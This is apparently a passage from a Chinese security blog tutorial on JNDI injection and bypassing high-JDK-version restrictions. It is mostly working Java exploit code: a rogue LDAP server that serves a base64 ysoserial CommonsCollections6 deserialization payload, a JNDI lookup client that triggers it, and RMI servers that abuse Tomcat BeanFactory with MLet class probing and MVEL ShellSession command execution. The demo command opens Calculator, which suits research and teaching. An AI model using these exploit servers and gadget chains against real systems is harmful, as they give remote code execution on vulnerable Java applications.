import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;


public class ldap_javaSerializedData_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
public OperationInterceptor () {
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
e.addAttribute("javaClassName", "Exploit");
try {
// java -jar ysoserial.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

模拟受害者进行JNDI lookup操作,或者使用Fastjson等漏洞模拟触发,即可看到弹计算器的命令被执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws NamingException{
try{
String url = "ldap://localhost:1389/Exploit";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}catch (Exception e){
e.printStackTrace();
}
}
}

这种绕过方式需要利用一个本地的反序列化利用链,如CommonsCollections或者结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。

利用CLASSPATH不那么常见的类构造gadget

1、javax.management.loading.MLet 探测类是否存在

javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class MLet_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:8081/"));
ref.add(new StringRefAddr("c", "andrew_hann_class"));
//触发点在resourceRef的getObjectInstance()方法中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

img

上面出现404,则说明前面对ELProcessor类的加载成功了。当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求。

2、org.mvel2.sh.ShellSession.exec()

1
2
3
4
5
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>

服务端代码如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class mvel2_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"));
//触发点在resourceRef的getObjectInstance()方法中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

参考链接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html 
https://johnfrod.top/%E5%B7%A5%E5%85%B7/ysoserial-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8%E8%B0%83%E8%AF%95%E6%95%99%E7%A8%8B/
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://zhuanlan.zhihu.com/p/471482692
https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/
https://koalr.me/posts/commonscollections-deserialization/
https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#contents:%E5%88%A9%E7%94%A8ldap%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE
https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/
https://www.cnblogs.com/expl0it/p/13882169.html
https://blog.csdn.net/weixin_45682070/article/details/121888247
https://www.cnblogs.com/zpchcbd/p/14941783.html
https://y4er.com/posts/attack-java-jndi-rmi-ldap-2/
https://www.cnblogs.com/bitterz/p/15946406.html
https://tttang.com/archive/1405/
⬆︎TOP